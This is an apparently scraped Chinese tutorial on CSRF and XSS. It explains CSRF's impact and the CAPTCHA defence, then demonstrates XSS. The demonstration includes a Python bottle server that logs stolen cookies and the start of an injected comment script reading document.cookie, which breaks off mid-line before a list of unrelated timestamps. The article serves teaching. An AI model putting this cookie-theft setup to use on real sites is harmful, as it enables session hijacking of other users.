csrf攻击发生在哪一层？前端安全方面有没有了解xss和csrf如何攻防
本文目录
csrf攻击发生在哪一层
CSRF的攻击方式可以概括为：CSRF攻击者盗用了你的身份，并以你的名义发送恶意请求。
比如使用你的账号发送邮件，发消息，盗取你的账号，删除你的个人信息，购买商品，虚拟货币或银行转账。
总而言之，就是会造成个人隐私泄露以及财产损失。
扩展资料：
防御csrf攻击
验证码
验证码是一种防御CSRF攻击有效方法。其原理是每一种操作都让用户输入验证码。
CSRF攻击是在攻击者的攻击站点中构造网络请求，然后用户在不知情的状况下触发，而强制输入验证码，则可以让用户知道当前在操作什么，进而达到预防的目的。
但这种方式有一个问题，就是每个操作都强制用户输入验证码，因此用户体验并不好，所以并不常用，只能作为一种辅助的预防手段。
前端安全方面有没有了解xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert(“你关不掉我~“);
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
“““
跨站脚本注入的信息收集服务器
“““
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile=’/var/db/myxss.sqlite’)
app.install(plugin)
@app.route(’/myxss/’)
def show(cookies, db):
SQL = ’INSERT INTO “myxss“ (“cookies“) VALUES (?)’
try:
db.execute(SQL, cookies)
except:
pass
return ““
if __name__ == “__main__“:
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 《script type=“text/javascript“》《/script》 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = “
更多文章：
2026年10月11日 06:30
2026年10月11日 06:20
2026年10月11日 05:40
another time（another time和other time的区别）
2026年10月11日 05:00
2026年10月11日 04:50
2026年10月11日 03:00
2026年10月11日 02:40
2026年10月11日 02:20
2026年10月11日 01:10
2026年10月11日 00:40
